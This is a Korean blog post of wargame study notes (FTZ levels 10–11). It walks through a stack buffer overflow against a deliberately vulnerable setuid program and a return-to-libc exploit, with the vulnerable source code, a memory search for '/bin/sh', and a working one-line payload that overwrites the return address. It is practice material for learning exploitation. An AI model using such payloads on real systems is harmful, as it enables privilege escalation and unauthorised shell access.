커널버전2.4.20-8
1. tmp디렉터리에 동일한 프로그램을 짜봐서 스택 사이의 dummy크기 계산 (6)
2. gdb로 프로그램을 열어봐 처음 할당 크기 확인 (0x28)
3. 변수들의 위치와 스택에서의 할당 크기, dummy크기로 ret주소 추측
#include <stdio.h> #include <stdlib.h> #include <unistd.h> main() { char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); printf("&buf=%#x, &buf2=%#x\n",buf,buf2); if ( strncmp(buf2,"go",2) == 0) { printf("Good Skill"); setreuid(3010,3010); system("/bin/bash"); } }
10 |
6 |
10 |
6 |
4 |
4 |
buf[10] |
dummy |
buf2[10] |
dummy |
SFP |
RET |
어떤 문자를 입력하게되면 왼쪽부터 오른쪽으로 들어감. buf2를 go로 덮어씌우려면
16개를 아무 문자로 채운 뒤 go입력
ftz level 11 RTL
잊지 않기 위해서 밑에 끄적거려놓음. http://blog.naver.com/shj1126zzang/220129272070
1. 아무 프로그램이나 작성해서 gdb로 디버깅후 system함수의 주소를 알아냄.
2.
#include <stdio.h> #include <stdlib.h> int main() { long shell = 0x4203f2c0; //찾은 시스템 주소 while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("%#x\n",shell); }
요런식으로 프로그래밍해서 system함수의 주소를 찾음
3. 스택 공간에 맞게 페이로드를 짬.
첫번째 0x4203f2c0은 아무 프로그램이나 짠 후에 gdb로 분석했을경우의 찾을수 없다는 system주소,
두번째 0x42127ea4는 위 프로그램을 돌렸을시 나타나는 system주소.
(python -c 'print "a"*268+"\xc0\xf2\x03\x42"+"aaaa"+"\xa4\x7e\x12\x42"'; cat) | ./attackme
사실 블로그 참고하고도 아직 잘 이해가 안간다..... 더 공부해야될듯
'systemhacking > practice' 카테고리의 다른 글
lob orge->troll (0) | 2015.01.15 |
---|---|
lob darkelf->orge (0) | 2015.01.09 |
lob wolfman->darkelf (0) | 2015.01.05 |
lob goblin->orc (0) | 2015.01.04 |
lob gate->gremlin (0) | 2014.12.30 |